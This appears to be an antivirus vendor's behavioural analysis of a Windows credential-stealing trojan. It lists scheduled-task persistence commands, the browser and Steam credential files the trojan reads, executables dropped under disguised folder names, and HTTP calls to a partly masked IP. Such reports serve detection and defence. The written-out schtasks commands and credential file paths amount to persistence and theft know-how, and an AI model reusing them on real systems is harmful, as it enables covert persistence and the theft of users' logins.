Trojan.Siggen17.59410

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\lsassl
<SYSTEM32>\tasks\iexplore
<SYSTEM32>\tasks\systems
<SYSTEM32>\tasks\system
<SYSTEM32>\tasks\idle
<SYSTEM32>\tasks\iexplorei
<SYSTEM32>\tasks\idlei
<SYSTEM32>\tasks\explorer
<SYSTEM32>\tasks\taskhost
<SYSTEM32>\tasks\wininit
<SYSTEM32>\tasks\explorere
<SYSTEM32>\tasks\wininitw
<SYSTEM32>\tasks\taskhostt
<SYSTEM32>\tasks\lsm
<SYSTEM32>\tasks\lsml
<SYSTEM32>\tasks\lsass
<SYSTEM32>\tasks\spoolsv
<SYSTEM32>\tasks\spoolsvs

Malicious functions

Reads files which store third party applications passwords

%ProgramFiles(x86)%\steam\config\config.vdf
%ProgramFiles(x86)%\steam\config\dialogconfig.vdf
%LOCALAPPDATA%\google\chrome\user data\default\cookies
%APPDATA%\opera software\opera stable\login data
%LOCALAPPDATA%\google\chrome\user data\default\login data
%LOCALAPPDATA%\google\chrome\user data\default\web data

Modifies file system

Creates the following files

<Current directory>\lsass.exe
nul
%TEMP%\avo45upmqs
%TEMP%\z4plyavisf
%TEMP%\ogyibizroa
%TEMP%\v2eisw9nu4
%TEMP%\igkdhfjhgn
%TEMP%\ypnczgzgtb
%ProgramFiles%\malwareremoval\system.exe
%TEMP%\aroxkt52l8
%TEMP%\foqhganwnb
%TEMP%\harw2xkrfh
%TEMP%\y6a7ljyyfg
%TEMP%\nikh1gmxvl
%TEMP%\uczxj1h5in
%TEMP%\cfwjrjot6g
%TEMP%\lzrgn80k5w
%TEMP%\rmziu7anae
%TEMP%\tqgdfu8fr9.bat
C:\totalcmd\language\f3b6ecef712a24
C:\totalcmd\language\spoolsv.exe
C:\totalcmd\language\27d1bcfc3c54e0
<Current directory>\lsm.exe
<Current directory>\101b941d020240
%ProgramFiles(x86)%\windows defender\en-us\taskhost.exe
%ProgramFiles(x86)%\windows defender\en-us\b75386f1303e64
C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\wininit.exe
C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\56085415360792
%ProgramFiles%\spidernt\explorer.exe
%TEMP%\kw54nwgdyu
%TEMP%\rzsbbmx2hg
%ProgramFiles%\spidernt\7a0fd90576e088
C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\idle.exe
C:\msocache\all users\{90140000-0011-0000-1000-0000000ff1ce}-c\6ccacd8608530f
%ProgramFiles%\savscan\iexplore.exe
%ProgramFiles%\savscan\9db6e019d4f04e
C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\spoolsv.exe
C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\f3b6ecef712a24
C:\totalcmd\language\system.exe
<Current directory>\6203df4a6bafc7
%ProgramFiles%\malwareremoval\27d1bcfc3c54e0
%TEMP%\c3preimazs

Deletes the following files

%TEMP%\rmziu7anae
%TEMP%\lzrgn80k5w
%TEMP%\cfwjrjot6g
%TEMP%\uczxj1h5in
%TEMP%\nikh1gmxvl
%TEMP%\y6a7ljyyfg
%TEMP%\harw2xkrfh
%TEMP%\foqhganwnb
%TEMP%\rzsbbmx2hg
%TEMP%\aroxkt52l8
%TEMP%\ypnczgzgtb
%TEMP%\igkdhfjhgn
%TEMP%\v2eisw9nu4
%TEMP%\ogyibizroa
%TEMP%\z4plyavisf
%TEMP%\avo45upmqs
%TEMP%\kw54nwgdyu
%TEMP%\c3preimazs

Network activity

Connects to

'80.#6.79.5':80

TCP

HTTP GET requests

http://80.#6.79.5/Vm5WordpressLinux/0asyncwindows/lineProcessorbasedledownloads.php?sO###########################################################################################################...
http://80.#6.79.5/Vm5WordpressLinux/0asyncwindows/lineProcessorbasedledownloads.php?bi###########################################################################################################...

UDP

'localhost':123

Miscellaneous

Creates and executes the following

'C:\totalcmd\language\spoolsv.exe'
'<SYSTEM32>\cmd.exe' /C "%TEMP%\tQGDfU8Fr9.bat"' (with hidden window)

Executes the following

'<SYSTEM32>\schtasks.exe' /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'<Current directory>\lsass.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "Idle" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0011-0000-1000-0000000FF1CE}-C\Idle.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 6 /tr "'C:\MSOCache\All Users\{90140000-0011-0000-1000-0000000FF1CE}-C\Idle.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 11 /tr "'%ProgramFiles%\SAVScan\iexplore.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "iexplore" /sc ONLOGON /tr "'%ProgramFiles%\SAVScan\iexplore.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 13 /tr "'%ProgramFiles%\SAVScan\iexplore.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "spoolsvs" /sc MINUTE /mo 5 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\spoolsv.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "spoolsvs" /sc MINUTE /mo 7 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\spoolsv.exe'" /rl HIGHEST /f
'<SYSTEM32>\cmd.exe' /C "%TEMP%\tQGDfU8Fr9.bat"
'<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 13 /tr "'C:\totalcmd\LANGUAGE\System.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "System" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\System.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 12 /tr "'C:\totalcmd\LANGUAGE\System.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "spoolsvs" /sc MINUTE /mo 9 /tr "'C:\totalcmd\LANGUAGE\spoolsv.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "spoolsv" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\spoolsv.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "spoolsvs" /sc MINUTE /mo 12 /tr "'C:\totalcmd\LANGUAGE\spoolsv.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 10 /tr "'C:\MSOCache\All Users\{90140000-0011-0000-1000-0000000FF1CE}-C\Idle.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\spoolsv.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 9 /tr "'%ProgramFiles%\MalwareRemoval\System.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "taskhost" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Windows Defender\en-US\taskhost.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "lsass" /sc ONLOGON /tr "'<Current directory>\lsass.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "lsassl" /sc MINUTE /mo 13 /tr "'<Current directory>\lsass.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 11 /tr "'<Current directory>\lsm.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "lsm" /sc ONLOGON /tr "'<Current directory>\lsm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 5 /tr "'<Current directory>\lsm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "taskhostt" /sc MINUTE /mo 6 /tr "'%ProgramFiles(x86)%\Windows Defender\en-US\taskhost.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "taskhostt" /sc MINUTE /mo 6 /tr "'%ProgramFiles(x86)%\Windows Defender\en-US\taskhost.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 5 /tr "'%ProgramFiles%\MalwareRemoval\System.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\{90140000-0011-0000-1000-0000000FF1CE}-C\wininit.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "wininit" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0011-0000-1000-0000000FF1CE}-C\wininit.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 10 /tr "'C:\MSOCache\All Users\{90140000-0011-0000-1000-0000000FF1CE}-C\wininit.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "explorere" /sc MINUTE /mo 7 /tr "'%ProgramFiles%\spidernt\explorer.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "explorer" /sc ONLOGON /tr "'%ProgramFiles%\spidernt\explorer.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "explorere" /sc MINUTE /mo 10 /tr "'%ProgramFiles%\spidernt\explorer.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "System" /sc ONLOGON /tr "'%ProgramFiles%\MalwareRemoval\System.exe'" /rl HIGHEST /f
'<SYSTEM32>\w32tm.exe' /stripchart /computer:localhost /period:5 /dataonly /samples:2

テクノロジー

用語

トレーニングコースおよび啓蒙プロジェクト

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Technical Information

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